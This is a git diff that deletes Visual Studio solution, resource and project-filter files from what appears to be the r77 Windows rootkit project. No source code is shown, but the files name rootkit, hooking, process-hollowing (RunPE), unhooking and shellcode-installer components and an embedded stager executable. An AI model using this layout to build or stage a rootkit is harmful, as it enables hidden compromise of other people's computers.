-#include "resource.h" - -#define APSTUDIO_READONLY_SYMBOLS -///////////////////////////////////////////////////////////////////////////// -// -// Generated from the TEXTINCLUDE 2 resource. -// -#include "winres.h" - -///////////////////////////////////////////////////////////////////////////// -#undef APSTUDIO_READONLY_SYMBOLS - -///////////////////////////////////////////////////////////////////////////// -// English (United States) resources - -#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) -LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US -#pragma code_page(1252) - -#ifdef APSTUDIO_INVOKED -///////////////////////////////////////////////////////////////////////////// -// -// TEXTINCLUDE -// - -1 TEXTINCLUDE -BEGIN - "resource.h\0" -END - -2 TEXTINCLUDE -BEGIN - "#include ""winres.h""\r\n" - "\0" -END - -3 TEXTINCLUDE -BEGIN - "\r\n" - "\0" -END - -#endif // APSTUDIO_INVOKED - - -///////////////////////////////////////////////////////////////////////////// -// -// EXE -// - -IDR_INSTALLSTAGER EXE "Resources\\InstallStager.exe" - -#endif // English (United States) resources -///////////////////////////////////////////////////////////////////////////// - - - -#ifndef APSTUDIO_INVOKED -///////////////////////////////////////////////////////////////////////////// -// -// Generated from the TEXTINCLUDE 3 resource. -// - - -///////////////////////////////////////////////////////////////////////////// -#endif // not APSTUDIO_INVOKED - diff --git a/vs/InstallService32/InstallService32.vcxproj.filters b/vs/InstallService32/InstallService32.vcxproj.filters deleted file mode 100644 index 465ddd7..0000000 --- a/vs/InstallService32/InstallService32.vcxproj.filters +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - {d2e0541b-9b37-4d4c-862a-dc53df8eeb06} - - - - - Resources - - - - - - \ No newline at end of file diff --git a/vs/InstallService64/InstallService64.vcxproj.filters b/vs/InstallService64/InstallService64.vcxproj.filters deleted file mode 100644 index 10c7de7..0000000 --- a/vs/InstallService64/InstallService64.vcxproj.filters +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d} - - - - - Resources - - - - - - \ No newline at end of file diff --git a/vs/InstallService64/resource.h b/vs/InstallService64/resource.h deleted file mode 100644 index e75db33..0000000 --- a/vs/InstallService64/resource.h +++ /dev/null @@ -1,16 +0,0 @@ -//{{NO_DEPENDENCIES}} -// Microsoft Visual C++ generated include file. -// Used by Resource.rc -// -#define IDR_R77 101 - -// Next default values for new objects -// -#ifdef APSTUDIO_INVOKED -#ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 102 -#define _APS_NEXT_COMMAND_VALUE 40001 -#define _APS_NEXT_CONTROL_VALUE 1001 -#define _APS_NEXT_SYMED_VALUE 101 -#endif -#endif diff --git a/vs/Uninstall64/Uninstall64.vcxproj.filters b/vs/Uninstall64/Uninstall64.vcxproj.filters deleted file mode 100644 index 2ae8806..0000000 --- a/vs/Uninstall64/Uninstall64.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77-x64/r77-x64.vcxproj.filters b/vs/r77-x64/r77-x64.vcxproj.filters deleted file mode 100644 index 5118ba7..0000000 --- a/vs/r77-x64/r77-x64.vcxproj.filters +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77-x86/r77-x86.vcxproj.filters b/vs/r77-x86/r77-x86.vcxproj.filters deleted file mode 100644 index 76cc4df..0000000 --- a/vs/r77-x86/r77-x86.vcxproj.filters +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77.sln b/vs/r77.sln deleted file mode 100644 index 0303176..0000000 --- a/vs/r77.sln +++ /dev/null @@ -1,233 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.1.32328.378 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}" - ProjectSection(ProjectDependencies) = postProject - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} - {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} - {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "SlnBin", "SlnBin", "{AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\BytecodeApi.dll = ..\SlnBin\BytecodeApi.dll - ..\SlnBin\BytecodeApi.UI.dll = ..\SlnBin\BytecodeApi.UI.dll - ..\SlnBin\BytecodeApi.UI.xml = ..\SlnBin\BytecodeApi.UI.xml - ..\SlnBin\BytecodeApi.xml = ..\SlnBin\BytecodeApi.xml - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}" - ProjectSection(ProjectDependencies) = postProject - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "src", "src", "{F9ACA875-3756-47C7-ACA6-4AE8C07428CB}" - ProjectSection(SolutionItems) = preProject - ..\src\GlobalAssemblyInfo.cs = ..\src\GlobalAssemblyInfo.cs - ..\src\ntdll.h = ..\src\ntdll.h - ..\src\r77api.cpp = ..\src\r77api.cpp - ..\src\r77api.h = ..\src\r77api.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "r77", "r77", "{F9701B99-C959-4B41-A333-2E5A819DE7D6}" - ProjectSection(SolutionItems) = preProject - ..\src\r77\Config.cpp = ..\src\r77\Config.cpp - ..\src\r77\Config.h = ..\src\r77\Config.h - ..\src\r77\detours.h = ..\src\r77\detours.h - ..\src\r77\Hooks.cpp = ..\src\r77\Hooks.cpp - ..\src\r77\Hooks.h = ..\src\r77\Hooks.h - ..\src\r77\r77.h = ..\src\r77\r77.h - ..\src\r77\Register.cpp = ..\src\r77\Register.cpp - ..\src\r77\Register.h = ..\src\r77\Register.h - ..\src\r77\Rootkit.cpp = ..\src\r77\Rootkit.cpp - ..\src\r77\Rootkit.h = ..\src\r77\Rootkit.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{5CD983ED-1FDF-4F02-9824-4DE63AD30A30}" - ProjectSection(SolutionItems) = preProject - ..\src\Uninstall\Uninstall.cpp = ..\src\Uninstall\Uninstall.cpp - ..\src\Uninstall\Uninstall.h = ..\src\Uninstall\Uninstall.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall64", "Uninstall64", "{5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A}" - ProjectSection(SolutionItems) = preProject - ..\src\Uninstall64\Uninstall64.cpp = ..\src\Uninstall64\Uninstall64.cpp - ..\src\Uninstall64\Uninstall64.h = ..\src\Uninstall64\Uninstall64.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{9E4A0D38-D955-4858-8E0A-533DE4468296}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\x64\detours.lib = ..\SlnBin\x64\detours.lib - ..\SlnBin\x64\detours.pdb = ..\SlnBin\x64\detours.pdb - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x86", "x86", "{3CA151CE-92D7-41B8-98E3-AA8FF632A9D6}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\x86\detours.lib = ..\SlnBin\x86\detours.lib - ..\SlnBin\x86\detours.pdb = ..\SlnBin\x86\detours.pdb - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}" - ProjectSection(ProjectDependencies) = postProject - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService32", "InstallService32\InstallService32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}" - ProjectSection(ProjectDependencies) = postProject - {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService64", "InstallService64\InstallService64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}" - ProjectSection(ProjectDependencies) = postProject - {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7}" - ProjectSection(SolutionItems) = preProject - ..\src\Install\Install.cpp = ..\src\Install\Install.cpp - ..\src\Install\Install.h = ..\src\Install\Install.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallService", "InstallService", "{F4C656D1-8E26-4B38-96B8-3BF21BA2637C}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallService\InstallService.cpp = ..\src\InstallService\InstallService.cpp - ..\src\InstallService\InstallService.h = ..\src\InstallService\InstallService.h - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InstallStager", "InstallStager\InstallStager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}" - ProjectSection(ProjectDependencies) = postProject - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallStager", "InstallStager", "{FB4DDDB6-6A4F-45E1-9B15-17477CCB3631}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallStager\Helper.cs = ..\src\InstallStager\Helper.cs - ..\src\InstallStager\InstallStager.cs = ..\src\InstallStager\InstallStager.cs - ..\src\InstallStager\RunPE.cs = ..\src\InstallStager\RunPE.cs - ..\src\InstallStager\Unhook.cs = ..\src\InstallStager\Unhook.cs - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Helper", "Helper", "{DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F}" - ProjectSection(SolutionItems) = preProject - ..\src\Helper\Helper.cpp = ..\src\Helper\Helper.cpp - ..\src\Helper\Helper.h = ..\src\Helper\Helper.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallShellcode", "InstallShellcode", "{43D1C7C4-FE5D-4758-A86C-28DA780D46F0}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallShellcode\InstallShellcode.asm = ..\src\InstallShellcode\InstallShellcode.asm - ..\src\InstallShellcode\nt.inc = ..\src\InstallShellcode\nt.inc - ..\src\InstallShellcode\PebApi.asm = ..\src\InstallShellcode\PebApi.asm - ..\src\InstallShellcode\PebApi.inc = ..\src\InstallShellcode\PebApi.inc - ..\src\InstallShellcode\RunPE.asm = ..\src\InstallShellcode\RunPE.asm - EndProjectSection -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64 - {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64 - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(NestedProjects) = preSolution - {F9701B99-C959-4B41-A333-2E5A819DE7D6} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {5CD983ED-1FDF-4F02-9824-4DE63AD30A30} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {9E4A0D38-D955-4858-8E0A-533DE4468296} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3} - {3CA151CE-92D7-41B8-98E3-AA8FF632A9D6} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3} - {EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {F4C656D1-8E26-4B38-96B8-3BF21BA2637C} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {FB4DDDB6-6A4F-45E1-9B15-17477CCB3631} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {43D1C7C4-FE5D-4758-A86C-28DA780D46F0} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1} - EndGlobalSection -EndGlobal